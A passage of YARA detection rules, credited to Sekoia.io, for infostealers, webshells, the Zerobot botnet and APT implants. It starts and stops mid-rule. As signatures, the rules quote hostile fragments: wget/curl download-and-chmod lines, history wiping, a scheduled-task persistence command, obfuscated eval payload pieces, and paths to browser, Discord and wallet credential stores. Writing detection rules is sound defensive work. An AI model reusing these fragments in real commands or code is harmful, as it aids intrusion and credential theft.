		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "5e35b034ba1761fae780429be377b70ae8ce62273670042ff067c38ed8bb5a9e"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "get_ActivatePong" ascii
		$str02 = "get_SslClient" ascii
		$str03 = "get_TcpClient" ascii
		$str04 = "get_SendSync" ascii
		$str05 = "get_IsConnected" ascii
		$str06 = "set_UseShellExecute" ascii
		$str07 = "Pastebin" wide
		$str08 = "Select * from AntivirusProduct" wide
		$str09 = "Stub.exe" wide
		$str10 = "timeout 3 > NUL" wide
		$str11 = "/c schtasks /create /f /sc onlogon /rl highest /tn " wide
		$str12 = "\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" wide
	condition:
		uint16( 0 ) == 0x5A4D and 9 of them
}

rule SEKOIA_Apt_Scanbox_Framework_Not_Obfuscated : FILE
{
	meta:
		description = "Detects the non obfuscated version of ScanBox"
		author = "Sekoia.io"
		id = "4790f122-89de-4f7b-a25f-9ac7b1af8333"
		date = "2022-09-01"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_scanbox_framework_not_obfuscated.yar#L1-L23"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "52779571eb4e68442542a1c4cff58d5b00a264bb567396126cd93dc4ec4eda45"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "php?m=a&data="
		$ = "php?m=p&data="
		$ = ".fun.split_data = function"
		$ = ".php?data="
		$ = ".php?m=b"
		$ = "basic.apipath"
		$ = ".info.seed ="
		$ = "loadjs ="
		$ = "info.color = screen.colorDepth"
	condition:
		5 of them and filesize < 500KB
}

rule SEKOIA_Malware_Venom_Admin_Strings : FILE
{
	meta:
		description = "Detects Venom admin strings"
		author = "Sekoia.io"
		id = "4929340c-310b-4c59-a111-23409f973d22"
		date = "2022-08-29"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/malware_venom_admin_strings.yar#L1-L22"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "205f16b07f58290b2898de7a7dd1e20f3d7651d738f0b15bf810f9be66eedf3d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "/admin/admin.go"
		$ = "/cli/interactive.go"
		$ = "/cli/cli.go"
		$ = "/dispather/sender.go"
		$ = "/dispather/proxy.go"
		$ = "/dispather/handler.go"
		$ = "/dispather/forward.go"
		$ = "/utils/reuse_port.go"
	condition:
		filesize < 11MB and 6 of them
}


rule SEKOIA_Apt_Tortoiseshell_Wateringhole_Script : FILE
{
	meta:
		description = "Detect's Tortoiseshell WH script"
		author = "Sekoia.io"
		id = "58c5ae66-fe09-497c-80bf-20feee4d95e7"
		date = "2023-05-24"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_tortoiseshell_wateringhole_script.yar#L1-L22"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "8ad886443b1bd17048054b57650d38cda1ffccc10fedfac86283a41daf956dc2"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "btoa(pluggin.toString())"
		$ = "btoa(document.referrer)"
		$ = "pluggin.push(navigator.plugins[i]"
		$ = "navigator.language"
		$ = "window.RTCPeerConnection"
		$ = "sha256(canvas.toDataURL("
		$ = "canvas.getContext('2d"
		$ = "noop = function() {},"
	condition:
		5 of them and filesize < 10000
}

rule SEKOIA_Apt_Toneshell_Shellcode : FILE
{
	meta:
		description = "Detects first bytes of ToneShell used to call the shellcode or the code to check the MagicNumber (0x17 0x03 0x03)"
		author = "Sekoia.io"
		id = "5ac8d2e9-dbeb-42f9-8343-1281510d4411"
		date = "2024-10-02"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_toneshell_shellcode.yar#L1-L34"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "0e164677681dce2aa75d3621d9f3df1449c3e67a3551817693856d80ccc48eca"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$code = {55 8b ec 83 ec 0c e8 85 00 00 00 6a 00 6a 00 6a 02 6a 00 6a 00 68 00 00 00 10}
		$MagicNumberParser = {
        B8 01 00 00 00
        6B C8 00
        8B 55 ??
        0F BE 04 0A
        83 F8 17
        75 ??
        B9 01 00 00 00
        C1 E1 00
        8B 55 ??
        0F BE 04 0A
        83 F8 03
        75 ??
        B9 01 00 00 00
        D1 E1
        8B 55 ??
        0F BE 04 0A
        83 F8 03
        }
	condition:
		any of them and filesize < 1MB
}

rule SEKOIA_Apt_Mustangpanda_Windows_Remoteshell : FILE
{
	meta:
		description = "Detects Remote Shell of Mustang Panda by detecting internal structure intialization"
		author = "Sekoia.io"
		id = "cffdd11e-9700-462e-a965-f9f51db63f0b"
		date = "2022-12-06"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_mustangpanda_windows_remoteshell.yar#L1-L121"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "4a72ae1574022d6454e29a6b05a0279f2e774f8218d24a3a866721d958c52e1a"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$chunk_1 = {
        C7 45 ?? 0C 00 00 00
        8D 4E ??
        C6 01 03
        8B 87 ?? ?? ?? ??
        89 41 ??
        66 8B 87 ?? ?? ?? ??
        66 89 41 ??
        }
		$chunk_2 = {
        C7 45 ?? 0C 00 00 00
        8D 4E ??
        C6 01 02
        8B 87 ?? ?? ?? ??
        89 41 ??
        66 8B 87 ?? ?? ?? ??
        66 89 41 ??
        8B 45 ??
        83 E8 05
        50
        51
        E8 ?? ?? ?? ??
        }
		$chunk_3 = {
        C7 87 ?? ?? ?? ?? 01 00 00 00
        8D 4E ??
        C7 45 ?? 0C 00 00 00
        C6 01 04
        8B 87 ?? ?? ?? ??
        89 41 ??
        66 8B 87 ?? ?? ?? ??
        66 89 41 ??
        8B 45 ??
        83 E8 05
        50
        51
        E8 ?? ?? ?? ??
        }
		$chunk_4 = {
        83 65 ?? ??
        EB ??
        8B 45 ??
        40
        89 45 ??
        8B 45 ??
        3B 45 ??
        7D ??
        8B 45 ??
        03 45 ??
        0F B6 08
        8B 45 ??
        33 D2
        6A ??
        5E
        F7 F6
        0F B6 84 15 ?? ?? ?? ??
        33 C8
        8B 45 ??
        03 45 ??
        88 08
        EB ??
        83 65 ?? ??
        EB ??
        8B 45 ??
        40
        89 45 ??
        8B 45 ??
        }
	condition:
		filesize < 8MB and 3 of them
}


rule SEKOIA_Shell_Win_Danfuan : FILE
{
	meta:
		description = "Detect the Danfuan malware"
		author = "Sekoia.io"
		id = "d1cf9988-270b-4a22-bdd5-f40b625715a8"
		date = "2022-11-04"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/shell_win_danfuan.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "96929ef478a8773022233a4092b3c157867aae6ee185568a6327d033c05a68f1"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "<%@ WebHandler Language=\"C#\" class=\"DynamicCodeCompiler\"%>"
		$ = "CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt))"
		$ = "MethodInfo objMifo = objInstance.GetType().GetMethod("
	condition:
		filesize < 15KB and all of them
}

rule SEKOIA_Infostealer_Win_Phoenixwave : FILE
{
	meta:
		description = "Detect the PhoenixWave infostealer based on specific strings"
		author = "Sekoia.io"
		id = "67c05ea8-2f1b-4c60-b108-e05d7d0c6508"
		date = "2022-04-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_phoenixwave.yar#L1-L35"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "efeffb2f0df4c2f8156c401bac5f44c415c4c3e02e84e8db55dad68488f39fea"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str0 = "##################################################\n                  Information\n##################################################\n" wide
		$str1 = "Specify a single character: either D or F" wide
		$str2 = "// This SFX source file was generated by DotNetZip " wide
		$str3 = "aHR0cDovL2lwLWFwaS5jb20vanNvbg==" wide
		$str4 = "TG9jYWxBcHBEYXRh" wide
		$str5 = "UGhvZW5peFdhdmU=" wide
		$str6 = "virustotal" wide
		$str7 = "SELECT * FROM win32_operatingsystem" wide
		$str8 = "SELECT * FROM Win32_VideoController" wide
		$app0 = "\\discordcanary\\Local Storage\\leveldb" wide
		$app1 = "\\discordptb\\Local Storage\\leveldb" wide
		$app2 = "\\discorddevelopment\\Local Storage\\leveldb" wide
		$app3 = "\\D877F783D5D3EF8C\\" wide
		$app4 = "\\IndexedDB\\file__0.indexeddb.leveldb" wide
		$app5 = "\\Steam\\Games.txt" wide
		$app6 = "nkbihfbeogaeaoehlefnkodbefgpgknn" wide
		$app7 = "fhbohimaelbohpjbbldcngcnapndodjp" wide
		$app8 = "fnjhmkhhmkbjkkabndcnnogagogbneec" wide
		$app9 = "\\Opera Software\\Opera GX Stable" wide
	condition:
		uint16( 0 ) == 0x5A4D and 7 of ( $str* ) and 8 of ( $app* )
}

rule SEKOIA_Infostealer_Win_Agrat : FILE
{
	meta:
		description = "No description has been set in the source file - SEKOIA"
		author = "Sekoia.io"
		id = "472effe8-5044-4ca1-88e0-3e19d445b9d1"
		date = "2022-06-01"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_agrat.yar#L1-L27"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "5b02880dbc75d9e4d95ec55c8e8630a47198ee4cc25e3ff79c93e9fe634fadca"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str00 = "Vault.txt" wide
		$str01 = "Credman.txt" wide
		$str02 = "[Networks] {0}" wide
		$str03 = "[Screenshot] {0}" wide
		$str04 = "[Twitch] {0}" wide
		$str05 = "Servers.txt" wide
		$str06 = "[WindscribeVPN] {0}" wide
		$str07 = "[{0}] Thread finished!" wide
		$str08 = "[ERROR] Unable to enumerate vaults. Error (0x" wide
		$str09 = "snowflake-ssh" wide
		$str10 = "//setting[@name='Password']/value" wide
		$str11 = "MakeScreenshot" ascii
		$sys = "System.Collections.Generic.IEnumerator<Stealer." ascii
	condition:
		uint16( 0 ) == 0x5A4D and all of them and #sys > 10
}

rule SEKOIA_Apt_Cloudatlas_Powershower_Obfuscated : FILE
{
	meta:
		description = "Detects obfuscated version of PowerShower"
		author = "Sekoia.io"
		id = "f76ab9d8-7753-4a17-aedd-fc9c3b8cd322"
		date = "2022-11-29"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_cloudatlas_powershower_obfuscated.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "fdb1edb3982eb5356cdf5fd1fa9fcc41d5048848b2a05589e87836ac0b05ec7a"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "{0}{1}{2}{3}{4}{5}{6}{7}{8}" ascii wide
		$s2 = "{000}{001}{002}{003}{004}{005}{006}{007}{008}" ascii wide
		$s3 = "::Unicode.GetString([System.Convert]::FromBase64String(" ascii wide
	condition:
		($s1 in ( 0 .. 100 ) or $s2 in ( 0 .. 100 ) ) and $s3 in ( filesize -200 .. filesize )
}

rule SEKOIA_Tool_Webshell_B374K_Strings : FILE
{
	meta:
		description = "Detects b374k webshell"
		author = "Sekoia.io"
		id = "f53fc668-e1fc-4b85-b850-59aceefb6418"
		date = "2024-09-06"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/tool_webshell_b374k_strings.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "1d27b23fceecbb9e854c41f6a8fb878e"
		hash = "71fd853a3f3efc3dc2846e866187ee59"
		hash = "187e001c32487d0d68197ddb7e7796c3"
		hash = "6eac497dfc1020a8475e95542fad197e"
		hash = "61c6a0bc15efa442853f04bb276ac96e"
		logic_hash = "b085a50d50fc1fd06d6f75397cf1fa6fa1bc4a0d18b56ed3458990f4abde0632"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "$func('$x','ev'.'al'.'("
		$ = "(ba'.'se'.'64'.'_de'.'co'.'de($x)))"
	condition:
		2 of them and filesize < 1MB
}

rule SEKOIA_Webshell_Icesword_Strings : FILE
{
	meta:
		description = "Detects icesword webshell"
		author = "Sekoia.io"
		id = "2c6b3cec-4200-4386-8cd5-4004c9b5b96a"
		date = "2024-11-22"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/webshell_icesword_strings.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "0447352827e61696304a8e3d34e1d270"
		hash = "f49cfcda0abdefa385eda7ec7e7a5411"
		hash = "e1518388375ba772ed20503ec6dc6c8a"
		hash = "ecf08cd6af127e01f913354529174a23"
		logic_hash = "25ea8c1f4756595e63f09dfdfd1cb0e9bbf1d05e46150e22993de95d9f758385"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "&fsAction=rename&newName="
		$ = "&fsAction=copyto&dstPath="
	condition:
		2 of them and filesize < 100KB
}

rule SEKOIA_Infostealer_Win_Stealerium : FILE
{
	meta:
		description = "Detects Stealerium based on specific strings"
		author = "Sekoia.io"
		id = "165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5"
		date = "2022-12-01"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_stealerium.yar#L1-L36"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "f420848164ad4b6966f2a776a58d90b7d70c8b151a42d6f56b654f1700b5e564"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$stl = "Stealerium" ascii wide
		$str01 = "Processe: " wide
		$str02 = "Compname: " wide
		$str03 = "Language: " wide
		$str04 = "SandBoxie: " wide
		$str05 = "== System Info ==" wide
		$str06 = "== Hardware ==" wide
		$str07 = "== Domains ==" wide
		$str08 = "WEBCAMS COUNT: " wide
		$str09 = "[Virtualization]" wide
		$str10 = "[Open google maps](" wide
		$str11 = "Remember password: " wide
		$str12 = "Target.Browsers.Firefox" ascii
		$str13 = "Modules.Keylogger" ascii
		$str14 = "ClipperAddresses" ascii
		$str15 = "ChromiumPswPaths" ascii
		$str16 = "DetectedBankingServices" ascii
		$str17 = "DetectCryptocurrencyServices" ascii
		$str18 = "CheckRemoteDebuggerPresent" ascii
		$str19 = "GetConnectedCamerasCount" ascii
		$str20 = "costura.discord-webhook-client.dll.compressed" ascii wide
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 1MB and ( ( #stl > 5 and 2 of ( $str* ) ) or 15 of ( $str* ) )
}

rule SEKOIA_Apt_Apt37_Malicious_Hta_File : FILE
{
	meta:
		description = "Detects malicious APT37 files"
		author = "Sekoia.io"
		id = "22a98c27-8ff4-4760-b505-f8eacf4dabda"
		date = "2023-03-06"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_apt37_malicious_hta_file.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "85289bea86641ea9c359c361d075783449d453017485170abc87c47872792210"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "<HTML>" nocase
		$s2 = " UwB0AGEAcgB0AC0AUwBs" ascii
		$s3 = "= new ActiveXObject(" ascii
		$s4 = "\", \"\", \"open\", 0);" ascii
		$s5 = ".moveTo(" ascii
		$s6 = "self.close();"
	condition:
		$s1 at 0 and all of them and filesize < 1MB
}



rule SEKOIA_Generic_Sharpshooter_Payload_11 : FILE
{
	meta:
		description = "Detects payload created by SharpShooter"
		author = "Sekoia.io"
		id = "703d2eb2-c9fd-4891-ba95-f94a8313618e"
		date = "2023-02-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_sharpshooter_payload_11.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "00c0dcc244db608d3a0d7500cdebadcc69ba0d56091a0a1fd7d58c27d255861f"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "decodeHex = EL.NodeTypedValue"
		$ = "Private Function decodeHex(hex)"
		$ = "serialized_obj = serialized_obj & "
		$ = "d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)"
	condition:
		all of them and filesize < 2MB
}

rule SEKOIA_Infostealer_Win_Mars_Stealer_Xor_Routine : FILE
{
	meta:
		description = "Detect Mars Stealer based on a specific XOR routine"
		author = "Sekoia.io"
		id = "3e2c7440b2fc9e4b039e6fa8152ac8ff"
		date = "2022-04-06"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_mars_stealer_xor_routine.yar#L1-L15"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "c7e65550a225431552e8a81bbce81dd66350021b6444c94fe7a37aa96712e9b1"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$xor = {8b 4d ?? 03 4d ?? 0f be 19 8b 55 ?? 52 e8 ?? ?? ?? ?? 83 c4 ?? 8b c8 8b 45 ?? 33 d2 f7 f1 8b 45 ?? 0f be 0c 10 33 d9 8b 55 ?? 03 55 ?? 88 1a eb be}
	condition:
		uint16( 0 ) == 0x5A4D and $xor
}

rule SEKOIA_Bot_Lin_Zerobot_Dec22 : FILE
{
	meta:
		description = "Detect the linux Zerobot implant using specific strings"
		author = "Sekoia.io"
		id = "ce028297-a526-4a6a-95db-8762fb5895f6"
		date = "2022-08-05"
		modified = "2024-12-19"
		reference = "https://www.fortinet.com/blog/threat-research/zerobot-new-go-based-botnet-campaign-targets-multiple-vulnerabilities"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/bot_lin_zerobot_dec22.yar#L1-L30"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "0f4faba9873fa360615b20bc637ecb40f56e6c7f65153f61a762e378320f94c1"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "rm -rf "
		$str02 = "wget http://"
		$str03 = "curl -O http://"
		$str04 = "tftp"
		$str05 = "-c get"
		$str06 = "ftpget -v -u anonymous -P"
		$str07 = "chmod 777"
		$str08 = "nohup"
		$str09 = "/dev/null 2>&1 &"
		$str10 = "zero."
		$str11 = "ppc64le"
		$str12 = "riscv64"
		$str13 = "s390x"
		$str14 = "rm -rf ~/.bash_history"
		$str15 = "history -c"
	condition:
		11 of ( $str* ) and filesize < 10KB
}


rule SEKOIA_Infostealer_Win_Xenostealer_Strings : FILE
{
	meta:
		description = "Finds XenoStealer standalone samples based on the strings"
		author = "Sekoia.io"
		id = "0a41788b-1fa7-44ff-af85-9c1ff1892aad"
		date = "2024-10-30"
		modified = "2024-12-19"
		reference = "https://github.com/moom825/XenoStealer/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_xenostealer_strings.yar#L1-L35"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "b74733d68e95220ab0630a68ddf973b0c959fd421628e639c1b91e465ba9299b"
		logic_hash = "1c48b15b8e9648c1c4d2f9c0a9ee3f4c48605fa44772b87a03ad81923e5adf15"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "XenoStealer" ascii wide
		$str02 = "$d05de59c-9ee5-4e7e-abb5-8f2cc3f72cd1" ascii
		$str03 = "SteamInfo" ascii
		$str04 = "TelegramInfo" ascii
		$str05 = "NgrokInfo" ascii
		$str06 = "pAuthInfo" ascii
		$str07 = "FoxMailInfo" ascii
		$str08 = "_hasNitro" ascii
		$str09 = "_games" ascii
		$str10 = "_profiles" ascii
		$str11 = "_cookies" ascii
		$str12 = "_creditCards" ascii
		$str13 = "_cryptoExtensions" ascii
		$str14 = "_passwordManagerExtensions" ascii
		$str15 = "ChromiumBrowsersLikelyLocations" ascii
		$str16 = "EdgeCryptoExtensions" ascii
		$str17 = "ChromePasswordManagerExtensions" ascii
		$str18 = "GeckoBrowserOptions" ascii
		$str19 = "get_programFiles" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 15 of them
}


rule SEKOIA_Apt_Apt28_Htmlsmuggling_Disclosing_Ip : FILE
{
	meta:
		description = "Detects some kind of HTMLSmuggling used by APT28"
		author = "Sekoia.io"
		id = "57adc227-2b72-457e-a786-97ca1a7300d8"
		date = "2023-09-11"
		modified = "2024-12-19"
		reference = "https://www.zscaler.com/blogs/security-research/steal-it-campaign"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_apt28_htmlsmuggling_disclosing_ip.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "047d2d5f8d04576b6d57bc599f82406804845a3acb7628e7ad9b56e71e4dfe92"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "ipapi.co/json"
		$s2 = "a.download("
		$s3 = "a.click("
	condition:
		$s1 and $s2 and $s3 and filesize < 5000
}

rule SEKOIA_Infostealer_Win_Blackcap : FILE
{
	meta:
		description = "Finds BlackCap Grabber samples (Python code obfuscated using Py-Fuscate)"
		author = "Sekoia.io"
		id = "1aa1fadb-3413-46e2-b733-1ad2134f7be2"
		date = "2023-03-06"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_blackcap.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "b826c88d557ea0a516534946ad9531eda1a875cb9c4ddf92d9b98f8c7b86623e"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$imp01 = "import asyncio, json, ntpath, random, re, shutil, sqlite3, subprocess, threading, winreg, zipfile, httpx, psutil, win32gui, win32con, pyperclip, base64, requests, ctypes, time" ascii
		$imp02 = "from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer;from Crypto.Cipher import AES;from PIL import ImageGrab;from win32crypt import CryptUnprotectData" ascii
		$pyf01 = "import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads(binascii.a2b_base64(b'YwAAAAAA" ascii
	condition:
		($imp01 in ( 0 .. 500 ) and $pyf01 in ( @imp01 + 200 .. @imp01 + 1000 ) or $imp02 in ( 0 .. 1000 ) and $pyf01 in ( @imp02 + 100 .. @imp02 + 500 ) ) and filesize > 100KB and filesize < 500KB
}

rule SEKOIA_Hacktool_Win_Powertool : FILE
{
	meta:
		description = "Detect PowerTool based on strings"
		author = "Sekoia.io"
		id = "ab8355b8-322d-41a4-82f0-43896c96b9bc"
		date = "2022-09-09"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/hacktool_win_powertool.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "aeccba821e528ca03abc8b50362d450ba2c12ab443454faf5b2809aecd163648"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str0 = "C:\\dev\\pt64_en\\Release\\PowerTool.pdb" ascii
		$str1 = "Chage language nedd to restart PowerTool" ascii
		$str2 = "(http://twitter.com/ithurricanept && https://www.linkedin.com/in/powertool)" wide
		$str3 = "Infected=Before Fix, whether to back up the drive files will be fixed?" wide
		$str4 = "Infected?-Are you sure to Fix the Infected Driver File?" wide
		$str5 = "shellex\\ContextMenuHandlers\\PowerTool" wide
		$str6 = "[PowerTool] name=%s, size=%d, %d" ascii
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule SEKOIA_Infostealer_Win_Vidar_Strings_Nov23 : FILE
{
	meta:
		description = "Finds Vidar samples based on the specific strings"
		author = "Sekoia.io"
		id = "b2c17627-f9b8-4401-b657-1cce560edc76"
		date = "2023-11-10"
		modified = "2024-12-19"
		reference = "https://twitter.com/crep1x/status/1722652451319202242"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_vidar_strings_nov23.yar#L1-L33"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "1a2fc421fb4058b78de28d97d69b126e685f7677b7998f5b6ae3cbcee0ef3f00"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "MachineID:" ascii
		$str02 = "Work Dir: In memory" ascii
		$str03 = "[Hardware]" ascii
		$str04 = "VideoCard:" ascii
		$str05 = "[Processes]" ascii
		$str06 = "[Software]" ascii
		$str07 = "information.txt" ascii
		$str08 = "%s\\*" ascii
		$str09 = "Select * From AntiVirusProduct" ascii
		$str10 = "SELECT target_path, tab_url from downloads" ascii
		$str11 = "Software\\Martin Prikryl\\WinSCP 2\\Configuration" ascii
		$str12 = "UseMasterPassword" ascii
		$str13 = "Soft: WinSCP" ascii
		$str14 = "<Pass encoding=\"base64\">" ascii
		$str15 = "Soft: FileZilla" ascii
		$str16 = "passwords.txt" ascii
		$str17 = "build_id" ascii
		$str18 = "file_data" ascii
	condition:
